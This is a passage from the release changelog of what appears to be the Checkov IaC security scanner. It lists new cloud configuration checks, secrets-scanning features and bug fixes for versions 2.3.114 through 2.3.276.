[2.3.276](https://github.com/bridgecrewio/checkov/compare/2.3.273...2.3.276) - 2023-06-04 ### Feature - **arm:** ARM and bicep checks for CKV_AZURE_121 - [#5029](https://github.com/bridgecrewio/checkov/pull/5029) - **terraform:** Ensure Application Gateway defines secure SSL protocols CKV_AZURE_217, 218 - [#5027](https://github.com/bridgecrewio/checkov/pull/5027) - **terraform:** Ensure Azure firewall sets threatintelMode to Deny - [#5013](https://github.com/bridgecrewio/checkov/pull/5013) - **terraform:** Ensure firewall defines a policy - [#5038](https://github.com/bridgecrewio/checkov/pull/5038) - **terraform:** Ensure Firewall policy has IDPS mode as deny - [#5039](https://github.com/bridgecrewio/checkov/pull/5039) ### Bug Fix - **dockerfile:** support platform flag in CKV_DOCKER_11 - [#5170](https://github.com/bridgecrewio/checkov/pull/5170) - **terraform:** support condition in IAM policy data blocks - [#5171](https://github.com/bridgecrewio/checkov/pull/5171) - **terraform:** Unable to download Terraform modules from JFrog Artifactory - [#5155](https://github.com/bridgecrewio/checkov/pull/5155) ## [2.3.273](https://github.com/bridgecrewio/checkov/compare/2.3.267...2.3.273) - 2023-06-01 ### Feature - **ansible:** add support of inline suppression for Ansible graph checks - [#5143](https://github.com/bridgecrewio/checkov/pull/5143) - **terraform:** Use just AWS regex to check EC2Credentials - [#5159](https://github.com/bridgecrewio/checkov/pull/5159) ### Bug Fix - **cloudformation:** fix evaluate_default_refs func in cfn - [#5164](https://github.com/bridgecrewio/checkov/pull/5164) - **general:** fix SARIF output related to security-severity field - [#5160](https://github.com/bridgecrewio/checkov/pull/5160) - **terraform:** adjust CKV_AWS_85 to only look for one log type to pass - [#5162](https://github.com/bridgecrewio/checkov/pull/5162) - **terraform:** update latest major version of Postgres to v15 - [#5163](https://github.com/bridgecrewio/checkov/pull/5163) ### Platform - **general:** Add no upload flag and report contributors for all API key runs - [#5052](https://github.com/bridgecrewio/checkov/pull/5052) ## [2.3.267](https://github.com/bridgecrewio/checkov/compare/2.3.264...2.3.267) - 2023-05-31 ### Bug Fix - **kubernetes:** fix extracting k8s nested resources - [#5146](https://github.com/bridgecrewio/checkov/pull/5146) - **sca:** suppression - fix unit testing - [#5158](https://github.com/bridgecrewio/checkov/pull/5158) - **sca:** suppression is not working on SCA packages - [#5156](https://github.com/bridgecrewio/checkov/pull/5156) ## [2.3.264](https://github.com/bridgecrewio/checkov/compare/2.3.261...2.3.264) - 2023-05-30 ### Feature - **terraform:** don't fail CKV_AWS_2 on un-rendered value - [#5147](https://github.com/bridgecrewio/checkov/pull/5147) - **terraform:** Foreach support resources edges - [#5145](https://github.com/bridgecrewio/checkov/pull/5145) ### Bug Fix - **terraform:** exclude unrestrictable actions in CKV_AWS_355 and CKV_AWS_356 - [#5135](https://github.com/bridgecrewio/checkov/pull/5135) ### Documentation - **general:** Update operators with examples - [#5137](https://github.com/bridgecrewio/checkov/pull/5137) ## [2.3.261](https://github.com/bridgecrewio/checkov/compare/2.3.259...2.3.261) - 2023-05-28 ### Feature - **general:** Added computation of git_root_path to igraph serialization - [#5107](https://github.com/bridgecrewio/checkov/pull/5107) - **sca:** adding validation for the file_line_number - [#5132](https://github.com/bridgecrewio/checkov/pull/5132) - **terraform:** foreach remove error from info log. - [#5139](https://github.com/bridgecrewio/checkov/pull/5139) ### Bug Fix - **terraform:** Should use UNKNOWN rather than skipped - [#5136](https://github.com/bridgecrewio/checkov/pull/5136) ## [2.3.259](https://github.com/bridgecrewio/checkov/compare/2.3.257...2.3.259) - 2023-05-24 ### Feature - **terraform:** extend CKV2_AWS_5 with new resources - [#5129](https://github.com/bridgecrewio/checkov/pull/5129) - **terraform:** IAM limit resource access - [#5015](https://github.com/bridgecrewio/checkov/pull/5015) ### Bug Fix - **kustomize:** fix empty kustomize file crash - [#5131](https://github.com/bridgecrewio/checkov/pull/5131) ### Platform - **general:** SBOM lines numbers adjusting - [#5127](https://github.com/bridgecrewio/checkov/pull/5127) ## [2.3.257](https://github.com/bridgecrewio/checkov/compare/2.3.251...2.3.257) - 2023-05-23 ### Feature - **sca:** adding the risk factor v2 to the vulnerability details - [#5108](https://github.com/bridgecrewio/checkov/pull/5108) - **sca:** dockerfile image-referencer fixes - [#5120](https://github.com/bridgecrewio/checkov/pull/5120) - **secrets:** Add new pre-commit hook for secrets - [#5103](https://github.com/bridgecrewio/checkov/pull/5103) - **terraform:** add check to look at star resources - [#4996](https://github.com/bridgecrewio/checkov/pull/4996) ### Bug Fix - **gitlab:** Skipping image blocks without name attribute - [#5126](https://github.com/bridgecrewio/checkov/pull/5126) - **terraform:** fix terraform variable rendering for provider alias - [#5124](https://github.com/bridgecrewio/checkov/pull/5124) ### Platform - **general:** Enhancing Sarif output with Security Severity Level - [#5074](https://github.com/bridgecrewio/checkov/pull/5074) ## [2.3.251](https://github.com/bridgecrewio/checkov/compare/2.3.247...2.3.251) - 2023-05-21 ### Feature - **secrets:** add jwt detector to the secret runner - [#5116](https://github.com/bridgecrewio/checkov/pull/5116) - **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#5089](https://github.com/bridgecrewio/checkov/pull/5089) - **terraform:** AWS Ensure RDS performance insights uses a CMK - [#4985](https://github.com/bridgecrewio/checkov/pull/4985) - **terraform:** NACL should restrict port ingress - [#4976](https://github.com/bridgecrewio/checkov/pull/4976) - **terraform:** RDS Enable Performance insights - [#4983](https://github.com/bridgecrewio/checkov/pull/4983) ### Bug Fix - **dockerfile:** improve update searching in CKV_DOCKER_5 - [#5115](https://github.com/bridgecrewio/checkov/pull/5115) ### Documentation - **general:** Update CLI Command Reference.md - [#5114](https://github.com/bridgecrewio/checkov/pull/5114) ## [2.3.247](https://github.com/bridgecrewio/checkov/compare/2.3.245...2.3.247) - 2023-05-18 ### Feature - **general:** add SPDX output - [#5104](https://github.com/bridgecrewio/checkov/pull/5104) - **kubernetes:** seperate service acoount builder to improve performance - [#5093](https://github.com/bridgecrewio/checkov/pull/5093) - **sca:** showing line numbers in the cli output for csv - [#5096](https://github.com/bridgecrewio/checkov/pull/5096) - **sca:** showing line numbers in the cli output for licenses - [#5098](https://github.com/bridgecrewio/checkov/pull/5098) ## [2.3.245](https://github.com/bridgecrewio/checkov/compare/2.3.243...2.3.245) - 2023-05-16 ### Feature - **dockerfile:** Support docker graph check skips - [#5085](https://github.com/bridgecrewio/checkov/pull/5085) - **sca:** using the lines in the directly in the record, rather than in the "vulnerability_details" + having it in ExtraResources - [#5092](https://github.com/bridgecrewio/checkov/pull/5092) ## [2.3.243](https://github.com/bridgecrewio/checkov/compare/2.3.240...2.3.243) - 2023-05-15 ### Feature - **kubernetes:** Improve k8s perf - [#5083](https://github.com/bridgecrewio/checkov/pull/5083) - **terraform:** EMR - At rest local disk, EBS and in transit encryption checks - [#4968](https://github.com/bridgecrewio/checkov/pull/4968) ### Bug Fix - **kubernetes:** add mini k8s parser for invalid templates - [#5088](https://github.com/bridgecrewio/checkov/pull/5088) - **terraform:** handle false-positives for Route53ZoneEnableDNSSECSigning - [#5084](https://github.com/bridgecrewio/checkov/pull/5084) ### Platform - **general:** Add lines to SBOM - [#5078](https://github.com/bridgecrewio/checkov/pull/5078) - **graph:** upload graphs to the platform - [#5073](https://github.com/bridgecrewio/checkov/pull/5073) ## [2.3.240](https://github.com/bridgecrewio/checkov/compare/2.3.239...2.3.240) - 2023-05-14 ### Bug Fix - **terraform:** skip invalid multiple modules names - [#5079](https://github.com/bridgecrewio/checkov/pull/5079) ## [2.3.239](https://github.com/bridgecrewio/checkov/compare/2.3.238...2.3.239) - 2023-05-12 ### Bug Fix - **sca:** only run image referencer with sca_image framework - [#5081](https://github.com/bridgecrewio/checkov/pull/5081) ## [2.3.238](https://github.com/bridgecrewio/checkov/compare/2.3.237...2.3.238) - 2023-05-11 ### Feature - **kustomize:** Support inline skips for Kubernetes graph checks - [#5070](https://github.com/bridgecrewio/checkov/pull/5070) ## [2.3.237](https://github.com/bridgecrewio/checkov/compare/2.3.234...2.3.237) - 2023-05-10 ### Bug Fix - **secrets:** add filter for suppressed custom secret checks - [#5068](https://github.com/bridgecrewio/checkov/pull/5068) - **secrets:** exclude Kubernetes secretName from secret scanning - [#5071](https://github.com/bridgecrewio/checkov/pull/5071) - **secrets:** omit the code line - [#5075](https://github.com/bridgecrewio/checkov/pull/5075) ## [2.3.234](https://github.com/bridgecrewio/checkov/compare/2.3.231...2.3.234) - 2023-05-09 ### Feature - **terraform:** Added caller_file_path and caller_file_line_range to reduced report - [#5062](https://github.com/bridgecrewio/checkov/pull/5062) - **terraform:** AWS IAM don't generate root credentials 348 - [#4966](https://github.com/bridgecrewio/checkov/pull/4966) - **terraform:** Ensure Neptune cluster is encrypted with a CMK CKV_AWS_347 - [#4965](https://github.com/bridgecrewio/checkov/pull/4965) ### Bug Fix - **terraform:** fix SQS encryption check CKV_AWS_27 - [#5065](https://github.com/bridgecrewio/checkov/pull/5065) ### Documentation - **general:** Fix some links - [#5064](https://github.com/bridgecrewio/checkov/pull/5064) - **general:** update Python custom checks docs - [#5054](https://github.com/bridgecrewio/checkov/pull/5054) ## [2.3.231](https://github.com/bridgecrewio/checkov/compare/2.3.227...2.3.231) - 2023-05-08 ### Feature - **terraform:** aws ensure delete protection for firewalls 344 - [#4870](https://github.com/bridgecrewio/checkov/pull/4870) - **terraform:** check that WAF rules have an action 342 - [#4806](https://github.com/bridgecrewio/checkov/pull/4806) - **terraform:** Ensure encryption for firewall uses a CMK CKV_AWS_345 - [#4871](https://github.com/bridgecrewio/checkov/pull/4871) - **terraform:** Ensure Network firewall policy defines a encryption configuration that uses a CMK - CKV_AWS_346 - [#4877](https://github.com/bridgecrewio/checkov/pull/4877) ### Bug Fix - **kubernetes:** Update ckv_k8s_31 - [#4991](https://github.com/bridgecrewio/checkov/pull/4991) ## [2.3.227](https://github.com/bridgecrewio/checkov/compare/2.3.224...2.3.227) - 2023-05-07 ### Feature - **general:** include missing files in save repository - [#5056](https://github.com/bridgecrewio/checkov/pull/5056) - **terraform:** launch config/template Ensure metadata hop =1 341 - [#4817](https://github.com/bridgecrewio/checkov/pull/4817) - **terraform:** Update CKV_AZURE_43 StorageAccountName.py VARIABLE_REFS - [#5045](https://github.com/bridgecrewio/checkov/pull/5045) ### Bug Fix - **arm:** enabled is not true - [#5051](https://github.com/bridgecrewio/checkov/pull/5051) - **cloudformation:** Enable ALB to support tls1.3 policies #4962 - [#5035](https://github.com/bridgecrewio/checkov/pull/5035) - **secrets:** add handling of unicode error - [#5055](https://github.com/bridgecrewio/checkov/pull/5055) ## [2.3.224](https://github.com/bridgecrewio/checkov/compare/2.3.223...2.3.224) - 2023-05-05 ### Platform - **general:** Catch None responses from BE - [#5033](https://github.com/bridgecrewio/checkov/pull/5033) ## [2.3.223](https://github.com/bridgecrewio/checkov/compare/2.3.220...2.3.223) - 2023-05-04 ### Feature - **terraform:** Elastic beanstalk uses managed updates and fixes the EB check while i… 340 - [#4816](https://github.com/bridgecrewio/checkov/pull/4816) ### Bug Fix - **secrets:** don't scan images in git history - [#5040](https://github.com/bridgecrewio/checkov/pull/5040) - **terraform:** fix foreach render value for lookup - [#5037](https://github.com/bridgecrewio/checkov/pull/5037) - **terraform:** Handle entity context for for_each resources - [#5036](https://github.com/bridgecrewio/checkov/pull/5036) ## [2.3.220](https://github.com/bridgecrewio/checkov/compare/2.3.214...2.3.220) - 2023-05-03 ### Feature - **secrets:** open the feature - scan git history - [#5022](https://github.com/bridgecrewio/checkov/pull/5022) - **terraform:** Set TF Modules for_each env var to true - [#5021](https://github.com/bridgecrewio/checkov/pull/5021) - **terraform:** Set TF modules for_each env vars as True - [#4794](https://github.com/bridgecrewio/checkov/pull/4794) ### Bug Fix - **secrets:** add filter for suppressed custom secret checks - [#5016](https://github.com/bridgecrewio/checkov/pull/5016) - **terraform:** improve attribute performance - [#5014](https://github.com/bridgecrewio/checkov/pull/5014) - **terraform:** Update CKV_AWS_338 message and retention check for 0 - [#5018](https://github.com/bridgecrewio/checkov/pull/5018) - **terraform:** Update CKV2_AZURE_33 to remove checks on unrelated conditions - [#5020](https://github.com/bridgecrewio/checkov/pull/5020) ## [2.3.214](https://github.com/bridgecrewio/checkov/compare/2.3.212...2.3.214) - 2023-05-02 ### Bug Fix - **secrets:** Adding quote to required secret in case needed - [#5008](https://github.com/bridgecrewio/checkov/pull/5008) - **secrets:** change color of invalid secret message - [#5007](https://github.com/bridgecrewio/checkov/pull/5007) ### Platform - **general:** upload checks code_block to report - [#5001](https://github.com/bridgecrewio/checkov/pull/5001) ## [2.3.212](https://github.com/bridgecrewio/checkov/compare/2.3.205...2.3.212) - 2023-04-30 ### Feature - **kubernetes:** support suppressing custom K8s policies - [#4990](https://github.com/bridgecrewio/checkov/pull/4990) - **terraform:** AWS EKS Use only platform supported versions 339 - [#4810](https://github.com/bridgecrewio/checkov/pull/4810) - **terraform:** Azure APIm backend uses only HTTPS - [#4811](https://github.com/bridgecrewio/checkov/pull/4811) - **terraform:** Ensure Cloudwatch retention is a year or more 338 - [#4799](https://github.com/bridgecrewio/checkov/pull/4799) - **terraform:** remove redundant foreach deepcopy - [#4982](https://github.com/bridgecrewio/checkov/pull/4982) ### Bug Fix - **secrets:** fix missing history results when history store is used - [#4992](https://github.com/bridgecrewio/checkov/pull/4992) - **terraform:** secret- also check user data in launch config and template - [#4969](https://github.com/bridgecrewio/checkov/pull/4969) ## [2.3.205](https://github.com/bridgecrewio/checkov/compare/2.3.204...2.3.205) - 2023-04-28 ### Bug Fix - **gitlab:** fix resource id parsing recursive - [#4987](https://github.com/bridgecrewio/checkov/pull/4987) ### Documentation - **terraform:** fix docs formatting - [#4988](https://github.com/bridgecrewio/checkov/pull/4988) ## [2.3.204](https://github.com/bridgecrewio/checkov/compare/2.3.199...2.3.204) - 2023-04-27 ### Feature - **terraform:** add support for private terraform registries - [#4964](https://github.com/bridgecrewio/checkov/pull/4964) - **terraform:** remove cross varaibles bad list comprehension - [#4948](https://github.com/bridgecrewio/checkov/pull/4948) ### Bug Fix - **general:** log all returned enforcement rules for debugging - [#4989](https://github.com/bridgecrewio/checkov/pull/4989) - **general:** remove invalid URLs in GitLab SAST output - [#4960](https://github.com/bridgecrewio/checkov/pull/4960) - **secrets:** change default value of secret values to empty strings - [#4973](https://github.com/bridgecrewio/checkov/pull/4973) - **terraform:** Added a condition to not override source module object for old parser - [#4975](https://github.com/bridgecrewio/checkov/pull/4975) ## [2.3.199](https://github.com/bridgecrewio/checkov/compare/2.3.194...2.3.199) - 2023-04-24 ### Feature - **terraform:** Ensure container defines a readonly root drive 336 - [#4788](https://github.com/bridgecrewio/checkov/pull/4788) - **terraform:** ensure pidmode is not set to host 335 - [#4786](https://github.com/bridgecrewio/checkov/pull/4786) - **terraform:** Ensure SSM params are encrypted using a CMK 337 - [#4789](https://github.com/bridgecrewio/checkov/pull/4789) - **terraform:** Network firewall must define a logging configuration CKV2_AWS_63 - [#4872](https://github.com/bridgecrewio/checkov/pull/4872) - **terraform:** Reduce module loading in TF Parser - [#4959](https://github.com/bridgecrewio/checkov/pull/4959) ### Bug Fix - **kustomize:** fix image_referencer paths - [#4898](https://github.com/bridgecrewio/checkov/pull/4898) - **terraform:** support TF provider v3 for lifecycle existence check - [#4952](https://github.com/bridgecrewio/checkov/pull/4952) ### Documentation - **terraform_plan:** Add Deep Analysis to docs - [#4950](https://github.com/bridgecrewio/checkov/pull/4950) ## [2.3.194](https://github.com/bridgecrewio/checkov/compare/2.3.192...2.3.194) - 2023-04-23 ### Feature - **general:** deserialize report & record from json - [#4947](https://github.com/bridgecrewio/checkov/pull/4947) - **sca:** fix extract fix version in sbom report - [#4936](https://github.com/bridgecrewio/checkov/pull/4936) - **terraform:** cross variable performance improvement - [#4946](https://github.com/bridgecrewio/checkov/pull/4946) ### Bug Fix - **github:** make GH Actions delimiter unique in multiline env vars - [#4938](https://github.com/bridgecrewio/checkov/pull/4938) ## [2.3.192](https://github.com/bridgecrewio/checkov/compare/2.3.187...2.3.192) - 2023-04-20 ### Feature - **general:** add policy-metadata-filter to gh action - [#4941](https://github.com/bridgecrewio/checkov/pull/4941) - **secrets:** support first commit results - [#4927](https://github.com/bridgecrewio/checkov/pull/4927) - **terraform:** Used generator instead of list comprehension to improve performance for large graphs - [#4939](https://github.com/bridgecrewio/checkov/pull/4939) ### Bug Fix - **terraform:** make the ECS cluster logging check more resilient - [#4942](https://github.com/bridgecrewio/checkov/pull/4942) - **terraform:** remove invalid Terraform module reference support - [#4931](https://github.com/bridgecrewio/checkov/pull/4931) - **terraform:** support null values in list of dicts - [#4937](https://github.com/bridgecrewio/checkov/pull/4937) ### Documentation - **bitbucket:** Update Bitbucket documentation to match the code. - [#4934](https://github.com/bridgecrewio/checkov/pull/4934) - **sca:** Add more ways to skip CVEs - [#4928](https://github.com/bridgecrewio/checkov/pull/4928) ## [2.3.187](https://github.com/bridgecrewio/checkov/compare/2.3.183...2.3.187) - 2023-04-19 ### Feature - **general:** 3D policies syntax refactor - [#4865](https://github.com/bridgecrewio/checkov/pull/4865) - **secrets:** support scanning of secrets in hidden paths - [#4925](https://github.com/bridgecrewio/checkov/pull/4925) ### Bug Fix - **secrets:** Revert timeout in unix to work with signals - [#4932](https://github.com/bridgecrewio/checkov/pull/4932) - **secrets:** timeout in unix to work with signals - [#4933](https://github.com/bridgecrewio/checkov/pull/4933) ### Documentation - **secrets:** Add readme file for Git History - [#4913](https://github.com/bridgecrewio/checkov/pull/4913) ## [2.3.183](https://github.com/bridgecrewio/checkov/compare/2.3.176...2.3.183) - 2023-04-18 ### Feature - **sca:** add is public fix version to sbom report - [#4915](https://github.com/bridgecrewio/checkov/pull/4915) - **secrets:** add more files to ignore list in git history - [#4912](https://github.com/bridgecrewio/checkov/pull/4912) - **terraform:** Ensure that container definition is not privileged 334 - [#4779](https://github.com/bridgecrewio/checkov/pull/4779) - **terraform:** TF provider check support - [#4911](https://github.com/bridgecrewio/checkov/pull/4911) ### Bug Fix - **general:** Dedup results contain multiple identical images if using template syntax - [#4924](https://github.com/bridgecrewio/checkov/pull/4924) - **general:** fix wrong abs path in IR record - [#4919](https://github.com/bridgecrewio/checkov/pull/4919) - **secrets:** Save fetched policy destination from current work dir to temp - [#4914](https://github.com/bridgecrewio/checkov/pull/4914) - **secrets:** timeout in unix to work with signals - [#4920](https://github.com/bridgecrewio/checkov/pull/4920) - **terraform:** Fix for_each flow conditions - [#4918](https://github.com/bridgecrewio/checkov/pull/4918) - **terraform:** make sure K8s volume is a dict - [#4917](https://github.com/bridgecrewio/checkov/pull/4917) ## [2.3.176](https://github.com/bridgecrewio/checkov/compare/2.3.171...2.3.176) - 2023-04-17 ### Feature - **arm:** add Storage accounts disallow public access check for ARM - [#4906](https://github.com/bridgecrewio/checkov/pull/4906) - **dockerfile:** Add CKV2_DOCKER_16 for PIP_TRUSTED_HOST - [#4893](https://github.com/bridgecrewio/checkov/pull/4893) - **sca:** add is private fix version to sca output - [#4891](https://github.com/bridgecrewio/checkov/pull/4891) ### Bug Fix - **secrets:** fix absolute file path cases - [#4901](https://github.com/bridgecrewio/checkov/pull/4901) - **terraform:** fix foreach count is none bug - [#4907](https://github.com/bridgecrewio/checkov/pull/4907) - **terraform:** limit RDS cluster audit logging to MySQL engine - [#4897](https://github.com/bridgecrewio/checkov/pull/4897) - **terraform:** remove duplicate call to convert graph vertices - [#4909](https://github.com/bridgecrewio/checkov/pull/4909) - **terraform:** remove local blocks with just line number - [#4902](https://github.com/bridgecrewio/checkov/pull/4902) ## [2.3.171](https://github.com/bridgecrewio/checkov/compare/2.3.165...2.3.171) - 2023-04-16 ### Feature - **secrets:** improve timing git history - [#4890](https://github.com/bridgecrewio/checkov/pull/4890) - **terraform:** add support for list of dicts in for loop - [#4895](https://github.com/bridgecrewio/checkov/pull/4895) ### Bug Fix - **cloudformation:** fix invalid fn sub param in cfn - [#4900](https://github.com/bridgecrewio/checkov/pull/4900) - **secrets:** fix error if writing to file when don't have access - [#4896](https://github.com/bridgecrewio/checkov/pull/4896) - **secrets:** fix None in file name - [#4899](https://github.com/bridgecrewio/checkov/pull/4899) - **secrets:** reduce false positives in yaml files - case of serverless and secretmanager - [#4892](https://github.com/bridgecrewio/checkov/pull/4892) ## [2.3.165](https://github.com/bridgecrewio/checkov/compare/2.3.160...2.3.165) - 2023-04-13 ### Feature - **terraform:** ECS Service should not auto assign public IPs 333 - [#4777](https://github.com/bridgecrewio/checkov/pull/4777) - **terraform:** EFS access points should define a user and a path 329-330 - [#4768](https://github.com/bridgecrewio/checkov/pull/4768) - **terraform:** Ensure ECS Fargate uses latest version 332 - [#4775](https://github.com/bridgecrewio/checkov/pull/4775) - **terraform:** Transit gateway should not be set up to autoaccept any VPC 331 - [#4770](https://github.com/bridgecrewio/checkov/pull/4770) ### Bug Fix - **general:** fix duplicate sarif output - [#4886](https://github.com/bridgecrewio/checkov/pull/4886) - **secrets:** fix slicing in githistory - [#4889](https://github.com/bridgecrewio/checkov/pull/4889) - **terraform:** exclude GCP asymmetric keys from key rotation - [#4879](https://github.com/bridgecrewio/checkov/pull/4879) - **terraform:** Paid is now standard - [#4880](https://github.com/bridgecrewio/checkov/pull/4880) - **terraform:** support empty filter in S3 lifecycle config - [#4875](https://github.com/bridgecrewio/checkov/pull/4875) ## [2.3.160](https://github.com/bridgecrewio/checkov/compare/2.3.158...2.3.160) - 2023-04-11 ### Bug Fix - **general:** catch unexpected errors when querying OpenAI - [#4883](https://github.com/bridgecrewio/checkov/pull/4883) ## [2.3.158](https://github.com/bridgecrewio/checkov/compare/2.3.155...2.3.158) - 2023-04-10 ### Feature - **secrets:** Add fields to record of secrets in git history - [#4838](https://github.com/bridgecrewio/checkov/pull/4838) ### Bug Fix - **terraform_plan:** Handled TFDefinitionKey in plan runner as well - [#4864](https://github.com/bridgecrewio/checkov/pull/4864) ## [2.3.155](https://github.com/bridgecrewio/checkov/compare/2.3.152...2.3.155) - 2023-04-09 ### Feature - **cloudformation:** support inline suppression of CFN graph checks - [#4843](https://github.com/bridgecrewio/checkov/pull/4843) - **terraform:** Aurora DB should enable backtrack - [#4739](https://github.com/bridgecrewio/checkov/pull/4739) - **terraform:** Desync must be set to defensive or strictest - [#4766](https://github.com/bridgecrewio/checkov/pull/4766) - **terraform:** Ensure that RDS clusters are encrypted using a CMK - [#4742](https://github.com/bridgecrewio/checkov/pull/4742) - **terraform:** RDS Cluster - make sure rds cluster defined defaults for logging and audit logging - [#4736](https://github.com/bridgecrewio/checkov/pull/4736) ### Bug Fix - **general:** be more forgiving of skipped checks without comment - [#4844](https://github.com/bridgecrewio/checkov/pull/4844) - **terraform:** default case should pass for auto updates - [#4847](https://github.com/bridgecrewio/checkov/pull/4847) - **terraform:** False negative for CKV_AZURE_179 - [#4846](https://github.com/bridgecrewio/checkov/pull/4846) - **terraform:** Only update config if len is bigger than 0 - [#4855](https://github.com/bridgecrewio/checkov/pull/4855) ## [2.3.152](https://github.com/bridgecrewio/checkov/compare/2.3.150...2.3.152) - 2023-04-04 ### Feature - **dockerfile:** Add CKV2_DOCKER_15 for yum-config-manager sslverify - [#4622](https://github.com/bridgecrewio/checkov/pull/4622) ### Bug Fix - **cloudformation:** Security Group check now work for ranges and strings - [#4797](https://github.com/bridgecrewio/checkov/pull/4797) - **terraform:** Ensure APPService default action is to ignore not fail - [#4790](https://github.com/bridgecrewio/checkov/pull/4790) - **terraform:** Subnetworks with internal purpose can have private_ipv6_google_access… - [#4804](https://github.com/bridgecrewio/checkov/pull/4804) ## [2.3.150](https://github.com/bridgecrewio/checkov/compare/2.3.148...2.3.150) - 2023-04-03 ### Feature - **terraform:** Adding yaml based build time policies for corresponding PC runtime policies - [#4800](https://github.com/bridgecrewio/checkov/pull/4800) ### Bug Fix - **terraform:** Fix for edge cases in for_each modules - [#4831](https://github.com/bridgecrewio/checkov/pull/4831) ## [2.3.148](https://github.com/bridgecrewio/checkov/compare/2.3.140...2.3.148) - 2023-04-02 ### Feature - **kubernetes:** support non-utf-8 encoded Kubernetes manifest files - [#4820](https://github.com/bridgecrewio/checkov/pull/4820) - **terraform:** ElasticCache for Redis cluster should automatically take minor updates - [#4726](https://github.com/bridgecrewio/checkov/pull/4726) - **terraform:** Ensure opensearch is configured for HA - [#4717](https://github.com/bridgecrewio/checkov/pull/4717) - **terraform:** Ensure Redshift specifies a DB name - [#4723](https://github.com/bridgecrewio/checkov/pull/4723) - **terraform:** Ensure Redshift uses enhanced vpc routing - [#4724](https://github.com/bridgecrewio/checkov/pull/4724) - **terraform:** Fix up ES logging check - [#4720](https://github.com/bridgecrewio/checkov/pull/4720) ### Bug Fix - **general:** don't add an invalid URL to helpUri field in SARIF output - [#4814](https://github.com/bridgecrewio/checkov/pull/4814) - **graph:** support string values for resource_types in graph checks properly - [#4819](https://github.com/bridgecrewio/checkov/pull/4819) - **kubernetes:** Don't require ImagePullPolicy when digest (#4776) - [#4781](https://github.com/bridgecrewio/checkov/pull/4781) - **secrets:** catch errors in middle of process of getting commit diffs - [#4823](https://github.com/bridgecrewio/checkov/pull/4823) - **terraform:** Fix add_to_block condition to support more edge cases - [#4822](https://github.com/bridgecrewio/checkov/pull/4822) - **terraform:** fix false positive CKV2_GCP_20 (fails for any non-MySQL instance) - [#4813](https://github.com/bridgecrewio/checkov/pull/4813) - **terraform:** Length resolvers evaluate length of `dict` as 1. - [#4808](https://github.com/bridgecrewio/checkov/pull/4808) ### Platform - **general:** Save error lines in IR records - [#4821](https://github.com/bridgecrewio/checkov/pull/4821) ## [2.3.140](https://github.com/bridgecrewio/checkov/compare/2.3.134...2.3.140) - 2023-03-30 ### Feature - **general:** add OpenAI integration - [#4782](https://github.com/bridgecrewio/checkov/pull/4782) - **terraform:** Ensure that cloudwatch alarms are set on - [#4805](https://github.com/bridgecrewio/checkov/pull/4805) ### Bug Fix - **general:** fix scan all files entrypoint - [#4801](https://github.com/bridgecrewio/checkov/pull/4801) - **terraform:** Set back CHECKOV_ENABLE_FOREACH_HANDLING to False to check perfomence - [#4798](https://github.com/bridgecrewio/checkov/pull/4798) - **terraform:** TF new parser - Check for tfvars block - [#4796](https://github.com/bridgecrewio/checkov/pull/4796) ## [2.3.134](https://github.com/bridgecrewio/checkov/compare/2.3.128...2.3.134) - 2023-03-29 ### Feature - **ansible:** PAN-OS policy and zone checks - [#4737](https://github.com/bridgecrewio/checkov/pull/4737) - **terraform_plan:** support data blocks in Terraform plan files - [#4758](https://github.com/bridgecrewio/checkov/pull/4758) - **terraform:** Set CHECKOV_ENABLE_FOREACH_HANDLING as True - [#4774](https://github.com/bridgecrewio/checkov/pull/4774) ### Bug Fix - **terraform:** Correctly serialize/deserialize TFModule object - [#4780](https://github.com/bridgecrewio/checkov/pull/4780) - **terraform:** Fix nested `each.value` replacement in for_each handler - [#4787](https://github.com/bridgecrewio/checkov/pull/4787) ## [2.3.128](https://github.com/bridgecrewio/checkov/compare/2.3.124...2.3.128) - 2023-03-28 ### Feature - **secrets:** make git history scan run in parallel - [#4769](https://github.com/bridgecrewio/checkov/pull/4769) - **terraform:** Add source_module_object_ to block attributes - [#4773](https://github.com/bridgecrewio/checkov/pull/4773) - **terraform:** codebuild dont enable privilege mode - [#4714](https://github.com/bridgecrewio/checkov/pull/4714) ### Bug Fix - **terraform:** Fix nested statements in _is_static_foreach_statement - [#4772](https://github.com/bridgecrewio/checkov/pull/4772) ## [2.3.124](https://github.com/bridgecrewio/checkov/compare/2.3.121...2.3.124) - 2023-03-27 ### Feature - **terraform:** AWS Use Launch templates in ASG - [#4698](https://github.com/bridgecrewio/checkov/pull/4698) - **terraform:** Codebuild defines and uses logs - [#4696](https://github.com/bridgecrewio/checkov/pull/4696) ### Bug Fix - **terraform:** Foreach - Fix regex on an empty list - [#4765](https://github.com/bridgecrewio/checkov/pull/4765) ## [2.3.121](https://github.com/bridgecrewio/checkov/compare/2.3.115...2.3.121) - 2023-03-26 ### Feature - **general:** Add scan all files to entrypoint - [#4746](https://github.com/bridgecrewio/checkov/pull/4746) - **terraform:** check routes are authorised - [#4682](https://github.com/bridgecrewio/checkov/pull/4682) - **terraform:** CloudDistribution set Failover origin - [#4686](https://github.com/bridgecrewio/checkov/pull/4686) - **terraform:** code build s3 logs are encrypted - [#4687](https://github.com/bridgecrewio/checkov/pull/4687) - **terraform:** Elasticbeanstalk should use enhanced health reporting - [#4692](https://github.com/bridgecrewio/checkov/pull/4692) - **terraform:** RDS cluster copy tags to snapshot - [#4693](https://github.com/bridgecrewio/checkov/pull/4693) - **terraform:** Support for_each/count statements in TF Modules - [#4708](https://github.com/bridgecrewio/checkov/pull/4708) ### Bug Fix - **secrets:** Don't show stack trace in failures when uploading secrets to verify - [#4734](https://github.com/bridgecrewio/checkov/pull/4734) - **secrets:** Compare abs paths in SecretsOmitter - [#4756](https://github.com/bridgecrewio/checkov/pull/4756) - **terraform:** refine IAM assume role check CKV_AWS_61 - [#4749](https://github.com/bridgecrewio/checkov/pull/4749) - **terraform:** refine S3 lifecycle check CKV_AWS_300 - [#4750](https://github.com/bridgecrewio/checkov/pull/4750) ### Platform - **terraform:** external module from git fail - log warning - [#4755](https://github.com/bridgecrewio/checkov/pull/4755) ### Documentation - **terraform:** Document no private registry - [#4745](https://github.com/bridgecrewio/checkov/pull/4745) ## [2.3.115](https://github.com/bridgecrewio/checkov/compare/2.3.114...2.3.115) - 2023-03-24 ### Bug Fix - **general:** fix default log levels for support stream - [#4741](https://github.com/bridgecrewio/checkov/pull/4741) ## [2.3.114](https://github.com/bridgecrewio/checkov/compare/2.3.110...2.3.114) - 2023-03-23 ### Feature - **ansible:** Ansible panos int mgmt checks - [#4683](https://github.com/bridgecrewio/checkov/pull/4683) - **terraform:** api gateway ensure api cache is encrypted - 